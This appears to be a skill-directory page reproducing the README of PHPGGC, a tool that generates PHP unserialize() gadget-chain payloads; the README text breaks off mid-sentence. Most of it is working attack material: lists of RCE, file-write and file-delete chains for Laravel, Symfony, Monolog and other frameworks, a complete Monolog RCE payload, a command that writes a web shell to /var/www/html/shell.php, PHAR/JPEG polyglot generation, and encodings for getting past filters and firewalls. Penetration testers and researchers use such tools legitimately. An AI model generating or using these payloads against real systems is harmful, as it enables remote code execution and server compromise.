SkillAgentSearch skills...

Phpggc

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

Install / Use

/learn @ambionics/Phpggc
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

PHPGGC: PHP Generic Gadget Chains

PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of frohoff's ysoserial, but for PHP. Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.

Requirements

PHP >= 5.6 is required to run PHPGGC.

Usage

Run ./phpggc -l to obtain a list of gadget chains:

$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

Filter gadget chains:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

Every gadget chain has:

  • Name: Name of the framework/library
  • Version: Version of the framework/library for which gadgets are for
  • Type: Type of exploitation: RCE, File Write, File Read, Include...
  • Vector: the vector to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), ...)
  • Informations: Other informations about the chain

Use -i to get detailed information about a chain:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

For RCE gadgets, the executed command can have 3 formatting types depending on how the gadget works:

  • RCE (Command): ./phpggc Symfony/RCE1 id
  • RCE (PHP code): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (Function call): ./phpggc Symfony/RCE4 system id

Once you have selected a chain, run ./phpggc <gadget-chain> [parameters] to obtain the payload. For instance, to obtain a payload for Monolog, you'd do:

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

For a file write using SwiftMailer, you'd do:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

The --wrapper (-w) option allows you to define a PHP file containing the following functions:

  • process_parameters(array $parameters): Called right before generate(), allows to change parameters
  • process_object(object $object): Called right before serialize(), allows to change the object
  • process_serialized(string $serialized): Called right after serialize(), allows to change the serialized string

For instance, if the vulnerable code looks like this:

<?php
$data = unserialize($_GET['data']);
print $data['message'];

You could use a __toString() chain, wrapping it like so:

<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

And you'd call phpggc like so:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

History

At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (file_exists, fopen, etc.). The paper is here.

Implementation

PHAR archives come in three different formats: PHAR, TAR, and ZIP. The three of them are supported by PHPGGC. Polyglot files can be generated using --phar-jpeg (-pj). Other options are available (use -h).

Examples

$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Encoders

Arguments allow to modify the way the payload is output. For instance, -u will URL encode it, and -b will convert it to base64. Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use -s for a soft URL encode, which keeps the payload readable.

The encoders can be chained, and as such the order is important. For instance, ./phpggc -b -u -u slim/rce1 system id will base64 the payload, then URLencode it twice.

Advanced: Enhancements

Fast destruct

PHPGGC implements a --fast-destruct (-f) flag, that will make sure your serialized object will be destroyed right after the unserialize() call, and not at the end of the script. I'd recommend using it for every __destruct vector, as it improves reliability. For instance, if PHP script raises an exception after the call, the __destruct method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.

$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

ASCII Strings

Uses the S serialization format instead of the standard s. This replaces every non-ASCII char to an hexadecimal representation: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D"; This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. Note: this is experimental and it might not work in some cases.

Armor Strings

Uses the S serialization format instead of the standard s. This replaces every char to an hexadecimal representation: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D"; This comes handy when a firewall or PHP code blocks strings. Note: this is experimental and it might not work in some cases. Note: this makes each string in the payload grow by a factor of 3.

Plus Numbers

Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as /O:[0-9]+:. This is easily bypassed using O:+123:... instead of O:123:. One can use --plus-numbers <types>, or -n <types>, to automatically add these + signs in fr

View on GitHub
GitHub Stars3.8k
CategoryDevelopment
Updated1d ago
Forks544

Languages

PHP

Security Score

95/100

Audited on Mar 26, 2026

No findings